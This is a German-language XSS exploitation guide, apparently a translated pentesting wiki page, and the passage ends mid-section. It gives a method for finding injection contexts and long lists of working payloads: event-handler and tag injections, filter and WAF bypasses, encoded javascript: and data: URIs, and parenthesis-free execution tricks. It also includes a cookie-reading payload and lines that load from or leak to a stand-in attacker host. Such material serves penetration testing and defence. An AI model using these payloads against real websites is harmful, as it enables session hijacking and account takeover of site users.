XSS (Cross Site Scripting)

Wenn Sie an einer Hacking-Karriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).

Methodik

  1. Überprüfen Sie, ob irgendein Wert, den Sie kontrollieren (Parameter, Pfad, Header?, Cookies?) im HTML reflektiert oder von JS-Code verwendet wird.

  2. Finden Sie den Kontext, in dem es reflektiert/verwendet wird.

  3. Wenn reflektiert:

  4. Überprüfen Sie, welche Symbole Sie verwenden können und bereiten Sie je nach dem die Payload vor:

  5. In rohem HTML:

  6. Können Sie neue HTML-Tags erstellen?

  7. Können Sie Ereignisse oder Attribute verwenden, die das javascript:-Protokoll unterstützen?

  8. Können Sie Schutzmaßnahmen umgehen?

  9. Wird der HTML-Inhalt von einer Client-seitigen JS-Engine (AngularJS, VueJS, Mavo...) interpretiert, könnten Sie eine Client Side Template Injection ausnutzen.

  10. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine Dangling Markup - HTML scriptless injection ausnutzen?

  11. Innerhalb eines HTML-Tags:

  12. Können Sie in den rohen HTML-Kontext wechseln?

  13. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen?

  14. Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS?

  15. Können Sie Schutzmaßnahmen umgehen?

  16. Innerhalb JavaScript-Code:

  17. Können Sie das <script>-Tag entkommen?

  18. Können Sie den String entkommen und anderen JS-Code ausführen?

  19. Ist Ihre Eingabe in Template-Literalen ``?

  20. Können Sie Schutzmaßnahmen umgehen?

  21. Javascript Funktion, die ausgeführt wird:

  22. Sie können den Namen der auszuführenden Funktion angeben. z.B.: ?callback=alert(1)

  23. Wenn verwendet:

  24. Sie könnten eine DOM XSS ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre kontrollierte Eingabe von einem Sink verwendet wird.

Wenn Sie an einer komplexen XSS arbeiten, könnte es interessant sein, über Folgendes Bescheid zu wissen:

Debugging Client Side JS

Reflektierte Werte

Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird.

  • Zwischendurch reflektiert: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad im Webpage reflektiert wird, könnten Sie eine Reflected XSS ausnutzen.

  • Gespeichert und reflektiert: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine Stored XSS ausnutzen.

  • Über JS zugegriffen: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine DOM XSS ausnutzen.

Kontexte

Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, wo Ihre Eingabe reflektiert wird. Je nach Kontext können Sie auf unterschiedliche Weise beliebigen JS-Code ausführen.

Rohes HTML

Wenn Ihre Eingabe im rohen HTML-Seite reflektiert wird, müssen Sie einige HTML-Tags ausnutzen, um JS-Code auszuführen: <img , <iframe , <svg , <script ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten. Denken Sie auch an Client Side Template Injection.

Innerhalb von HTML-Tag-Attributen

Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Sie versuchen:

  1. Von dem Attribut und dem Tag zu entkommen (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: "><img [...]

  2. Wenn Sie vom Attribut, aber nicht vom Tag entkommen können (> ist kodiert oder gelöscht), könnten Sie je nach Tag ein Ereignis erstellen, das JS-Code ausführt: " autofocus onfocus=alert(1) x="

  3. Wenn Sie nicht vom Attribut entkommen können (" wird kodiert oder gelöscht), dann können Sie je nach welchem Attribut Ihr Wert reflektiert wird ob Sie den gesamten Wert oder nur einen Teil kontrollieren, es ausnutzen. Zum Beispiel, wenn Sie ein Ereignis wie onclick= kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes Beispiel ist das Attribut href, wo Sie das javascript:-Protokoll verwenden können, um beliebigen Code auszuführen: href="javascript:alert(1)"

  4. Wenn Ihre Eingabe innerhalb von "nicht ausnutzbaren Tags" reflektiert wird, könnten Sie versuchen, den accesskey-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): " accesskey="x" onclick="alert(1)" x="

Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

In diesem Fall wird Ihre Eingabe zwischen <script> [...] </script> Tags einer HTML-Seite, in einer .js-Datei oder innerhalb eines Attributs mit dem javascript: Protokoll reflektiert:

  • Wenn sie zwischen <script> [...] </script> Tags reflektiert wird, können Sie versuchen, </script> einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der Browser zuerst die HTML-Tags parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes </script> Tag im HTML-Code enthalten ist.

  • Wenn sie innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String verlassen, Ihren Code ausführen und den JS-Code rekonstruieren (wenn ein Fehler auftritt, wird er nicht ausgeführt):

  • '-alert(1)-'

  • ';-alert(1)//

  • \';alert(1)//

  • Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie JS-Ausdrücke einbetten mit der ${ ... } Syntax: var greetings = `Hello, ${alert(1)}`

  • Unicode-Encoding funktioniert, um gültigen JavaScript-Code zu schreiben:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting bezieht sich auf die Möglichkeit, Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass Sie Szenarien ausnutzen können, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet. Überprüfen Sie die folgende Seite für weitere Informationen:

JS Hoisting

Javascript Funktion

Mehrere Webseiten haben Endpunkte, die den Namen der auszuführenden Funktion als Parameter akzeptieren. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: ?callback=callbackFunc.

Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist den Parametervalue zu ändern (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:

Falls es anfällig ist, könnten Sie in der Lage sein, einen Alert auszulösen, indem Sie einfach den Wert senden: ?callback=alert(1). Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt validieren, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen ([\w\._]).

Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen durchzuführen. Das liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf jedes Element im DOM zuzugreifen:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Du kannst auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.

In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, Endpunkte ohne viel interessantes DOM, andere Seiten im gleichen Ursprung haben ein interessanteres DOM, um mehr Aktionen durchzuführen.

Daher wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Same Origin Method Execution (SOME)-Ausnutzung entwickelt:

SOME - Same Origin Method Execution

DOM

Es gibt JS-Code, der unsicher einige von einem Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.

DOM XSS

Universelles XSS

Diese Art von XSS kann überall gefunden werden. Sie hängt nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art der beliebigen JavaScript-Ausführung kann sogar ausgenutzt werden, um RCE zu erhalten, beliebige Dateien auf Clients und Servern zu lesen und mehr. Einige Beispiele:

Server Side XSS (Dynamic PDF)Electron Desktop Apps

WAF-Bypass-Codierung Bild

In rohem HTML injizieren

Wenn deine Eingabe innerhalb der HTML-Seite widergespiegelt wird oder du HTML-Code in diesem Kontext entkommen und injizieren kannst, ist das erste, was du tun musst, zu überprüfen, ob du < ausnutzen kannst, um neue Tags zu erstellen: Versuche einfach, dieses Zeichen widerzuspiegeln und überprüfe, ob es HTML-codiert oder gelöscht wird oder ob es unverändert widergespiegelt wird. Nur im letzten Fall wirst du in der Lage sein, diesen Fall auszunutzen. Für diese Fälle solltest du auch im Hinterkopf behalten Client Side Template Injection. Hinweis: Ein HTML-Kommentar kann mit******** --> oder ****--!>

In diesem Fall und wenn keine Black/Whitelisting verwendet wird, könntest du Payloads wie verwenden:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Aber wenn Tags/Attribute Black-/Whitelisting verwendet wird, müssen Sie brute-forcen, welche Tags Sie erstellen können. Sobald Sie herausgefunden haben, welche Tags erlaubt sind, müssen Sie brute-forcen, welche Attribute/Ereignisse innerhalb der gefundenen gültigen Tags vorhanden sind, um zu sehen, wie Sie den Kontext angreifen können.

Tags/Ereignisse brute-force

Gehen Sie zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicken Sie auf Tags in die Zwischenablage kopieren. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags nicht als bösartig vom WAF entdeckt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie alle Ereignisse brute-forcen mit den gültigen Tags (klicken Sie auf derselben Webseite auf Ereignisse in die Zwischenablage kopieren und folgen Sie dem gleichen Verfahren wie zuvor).

Benutzerdefinierte Tags

Wenn Sie kein gültiges HTML-Tag gefunden haben, können Sie versuchen, ein benutzerdefiniertes Tag zu erstellen und JS-Code mit dem onfocus-Attribut auszuführen. In der XSS-Anfrage müssen Sie die URL mit # beenden, um die Seite auf dieses Objekt zu fokussieren und den Code auszuführen:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Wenn eine Art von Blacklist verwendet wird, könnten Sie versuchen, sie mit einigen einfachen Tricks zu umgehen:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (kleine XSS)

Weitere kleine XSS für verschiedene Umgebungen Payload kann hier gefunden werden und hier.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Die letzte Methode verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr Mehr dieser Zeichen finden Sie hier. Um zu überprüfen, in welche Zeichen zerlegt werden, überprüfen Sie hier.

Click XSS - Clickjacking

Wenn Sie zur Ausnutzung der Schwachstelle den Benutzer dazu bringen müssen, auf einen Link oder ein Formular mit vorausgefüllten Daten zu klicken, könnten Sie versuchen, Clickjacking auszunutzen (wenn die Seite anfällig ist).

Unmöglich - Dangling Markup

Wenn Sie nur denken, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen, sollten Sie Dangling Markup überprüfen, da Sie die Schwachstelle ausnutzen könnten, ohne JS-Code auszuführen.

Injizieren innerhalb eines HTML-Tags

Innerhalb des Tags/Entkommen aus dem Attributwert

Wenn Sie innerhalb eines HTML-Tags sind, ist das Erste, was Sie versuchen könnten, aus dem Tag zu entkommen und einige der in der vorherigen Sektion erwähnten Techniken zu verwenden, um JS-Code auszuführen. Wenn Sie nicht aus dem Tag entkommen können, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag reflektiert wird):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stilereignisse

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Innerhalb des Attributs

Selbst wenn Sie nicht aus dem Attribut entkommen können (" wird kodiert oder gelöscht), je nachdem, in welchem Attribut Ihr Wert reflektiert wird ob Sie den gesamten Wert oder nur einen Teil kontrollieren, werden Sie in der Lage sein, es auszunutzen. Zum Beispiel, wenn Sie ein Ereignis wie onclick= kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes Beispiel ist das Attribut href, wo Sie das javascript:-Protokoll verwenden können, um beliebigen Code auszuführen: href="javascript:alert(1)"

Umgehung innerhalb des Ereignisses mit HTML-Kodierung/URL-Kodierung

Die HTML-kodierten Zeichen innerhalb des Wertes von HTML-Tag-Attributen werden zur Laufzeit dekodiert. Daher wird etwas wie das Folgende gültig sein (die Payload ist fett): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Zurück</a>

Beachten Sie, dass jede Art von HTML-Kodierung gültig ist:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachten Sie, dass die URL-Codierung ebenfalls funktioniert:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Umgehung von Innenereignissen mit Unicode-Kodierung

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Besondere Protokolle innerhalb des Attributs

Dort können Sie die Protokolle javascript: oder data: an einigen Stellen verwenden, um willkürlichen JS-Code auszuführen. Einige erfordern Benutzerinteraktion, andere nicht.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Orte, an denen Sie diese Protokolle injizieren können

Im Allgemeinen kann das javascript:-Protokoll in jedem Tag verwendet werden, der das Attribut href akzeptiert und in den meisten der Tags, die das Attribut src akzeptieren (aber nicht <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Andere Obfuskationstricks

In diesem Fall ist der HTML-Encoding- und der Unicode-Encoding-Trick aus dem vorherigen Abschnitt ebenfalls gültig, da Sie sich innerhalb eines Attributs befinden.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Außerdem gibt es einen weiteren schönen Trick für diese Fälle: Selbst wenn Ihre Eingabe innerhalb von javascript:... URL-kodiert ist, wird sie vor der Ausführung URL-dekodiert. Wenn Sie also aus der Zeichenkette mit einem einzelnen Anführungszeichen entkommen müssen und sehen, dass es URL-kodiert ist, denken Sie daran, dass es keine Rolle spielt, es wird während der Ausführungszeit als einzelnes Anführungszeichen interpretiert.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachten Sie, dass es nicht funktioniert, wenn Sie beide URLencode + HTMLencode in beliebiger Reihenfolge verwenden, um die Payload zu kodieren, aber Sie können sie innerhalb der Payload mischen.

Verwendung von Hex- und Oktal-Kodierung mit javascript:

Sie können Hex und Oktal-Kodierung innerhalb des src-Attributs von iframe (mindestens) verwenden, um HTML-Tags auszuführen, um JS auszuführen:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse Tab Nabbing

<a target="_blank" rel="opener"

Wenn Sie eine beliebige URL in ein beliebiges <a href= Tag einfügen können, das die Attribute target="_blank" und rel="opener" enthält, überprüfen Sie die folgende Seite, um dieses Verhalten auszunutzen:

Reverse Tab Nabbing

zum Umgehen von Ereignis-Handlern

Überprüfen Sie zunächst diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) auf nützliche "on" Ereignis-Handler. Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen ausprobieren:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Von hier ist es jetzt möglich, versteckte Eingaben zu missbrauchen mit:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Und in meta-Tags:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Von hier: Sie können eine XSS-Nutzlast in einem versteckten Attribut ausführen, vorausgesetzt, Sie können den Opfer dazu überreden, die Tastenkombination zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination ALT+SHIFT+X und unter OS X ist es CTRL+ALT+X. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS-Nutzlast wird etwa so aussehen: " accesskey="x" onclick="alert(1)" x="

Blacklist-Umgehungen

Mehrere Tricks mit verschiedenen Kodierungen wurden bereits in diesem Abschnitt vorgestellt. Gehe zurück, um zu lernen, wo du verwenden kannst:

  • HTML-Kodierung (HTML-Tags)

  • Unicode-Kodierung (kann gültiger JS-Code sein): \u0061lert(1)

  • URL-Kodierung

  • Hex- und Oktal-Kodierung

  • Datenkodierung

Umgehungen für HTML-Tags und Attribute

Lies die Blacklist-Umgehungen des vorherigen Abschnitts.

Umgehungen für JavaScript-Code

Lies die JavaScript-Umgehungs-Blacklist des folgenden Abschnitts.

CSS-Gadgets

Wenn du ein XSS in einem sehr kleinen Teil des Webs gefunden hast, das eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den Raum, den dieses Element einnimmt, zu modifizieren, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

Zum Beispiel könntest du einige Stile im Element hinzufügen wie: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest

.test {display:block; color: blue; width: 100%}

und

#someid {top: 0; font-family: Tahoma;}

Jetzt kannst du unseren Link modifizieren und in die Form bringen

<a href="" id=someid class=test onclick=alert() a="">

Dieser Trick wurde von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 übernommen.

Injektion innerhalb von JavaScript-Code

In diesem Fall wird dein Eingang innerhalb des JS-Codes einer .js-Datei oder zwischen <script>...</script>-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das javascript:-Protokoll akzeptieren, reflektiert.

Escaping <script>-Tag

Wenn dein Code innerhalb von <script> [...] var input = 'reflected data' [...] </script> eingefügt wird, könntest du leicht das schließende <script>-Tag escapen:

</script><img src=1 onerror=alert(document.domain)>

Beachten Sie, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Dies liegt daran, dass die HTML-Analyse zuerst vom Browser durchgeführt wird, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.

Innerhalb des JS-Codes

Wenn <> bereinigt werden, können Sie dennoch den String escapen, wo Ihre Eingabe lokalisiert ist und willkürliches JS ausführen. Es ist wichtig, die JS-Syntax zu korrigieren, da der JS-Code nicht ausgeführt wird, wenn es Fehler gibt:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Um Strings neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch Backticks ``. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, JS-Ausdrücke einzubetten mit der ${ ... } Syntax. Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, reflektiert wird, können Sie die Syntax ${ ... } missbrauchen, um willkürlichen JS-Code auszuführen:

Dies kann missbraucht werden mit:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Kodierte Codeausführung

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode Encode JS-Ausführung

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript-Umgehung von Blacklist-Techniken

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escapes

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Raumersetzungen innerhalb von JS-Code

<TAB>
/**/

JavaScript-Kommentare (aus JavaScript-Kommentare Trick)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript-Zeilenumbrüche (aus JavaScript-Zeilenumbruch Trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript Leerzeichen

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript innerhalb eines Kommentars

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
